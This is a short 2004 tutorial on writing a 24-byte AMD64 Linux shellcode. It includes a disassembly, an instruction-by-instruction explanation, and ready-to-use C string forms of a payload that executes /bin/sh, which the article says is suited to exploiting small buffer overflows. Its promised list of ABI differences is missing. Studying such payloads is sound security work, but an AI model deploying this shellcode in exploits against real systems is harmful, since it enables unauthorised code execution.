A Short Shellcode for AMD64

Marc Bevand
<m (at) zorinaq.com>
November 19, 2004

Download

shellcode-amd64.html - This article
shellcode-amd64.tar.bz2 - This article + Shellcode implementation

Updates

2004-12-05
The shellcode has been updated, its size has shrunk from 25 to 24 bytes.
2006-05-01
Added a note about the stack space required (Andreas Geiger). Improved formatting of the assembly/C listings.
2010-05-02
Updated email and URL.

Introduction

Extensive documentation can be found on the subject of shellcodes for the i386 (or IA32) architecture, but almost nothing seems to be currently available for the AMD64 architecture.

This article is going to present an AMD64 shellcode for the Linux kernel that is particularly short (24 bytes). We assume the reader already have basic knowledge about shellcodes and i386 architecture.

AMD64 Architecture ABI

The AMD64 architecture ABI specification can be obtained from http://www.amd64.org/documentation. A shellcode developer should be aware of the following main technical differences with respect to i386:

With this simple knowledge, a shellcode can be easily developed.

Shellcode

Here is a disassembly of the shellcode, as produced by objdump -d (with opcodes bytes at the beginning of the line):

6a 3bpush $0x3b
58pop %rax # set %rax to 0x3b
99cltd # %rdx (arg 3: envp) is set to 0
48 bb 2f 62 69 6e 2f 2f 73 68mov $0x68732f2f6e69622f,%rbx# set %rbx to "/bin//sh"
52push %rdx # push 0
53push %rbx # push "/bin//sh"
54push %rsp
5fpop %rdi # %rdi (arg 1: path) points to "/bin//sh"
52push %rdx # push 0
57push %rdi # push ptr to path
54push %rsp
5epop %rsi # %rsi (arg 2: argv) points to ["/bin//sh",0]
0f 05syscall # execve(path,argv,envp)

The AMD64 shellcode presented above has a length of only 24 bytes. This makes it particularly useful when exploiting overflows of small buffers. Please note however that it uses 40 bytes of stack space; depending on the stack layout it might be a problem because the push operations can corrupt the shellcode itself. In such cases it is usually possible to add an instruction at the beginning of the shellcode that modifies %rsp to make it point to a safe area (e.g. add $40, %rsp).

Here is the shellcode represented as a C language string:

const char *shellcode = "\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53" "\x54\x5f\x52\x57\x54\x5e\x0f\x05";

However, you may prefer this more compact form:

const char *shellcode = "j;X\x99H\xbb/bin//shRST_RWT^\x0f\x05";

Conclusion

This article has given the reader a quick overview on the process of developing assembly code using the AMD64 Linux kernel calling conventions. As a practical exemple, a 24-byte shellcode has been presented and explained.

Thanks

I would like to thank those people for their comments and suggestions, in alphabetical order: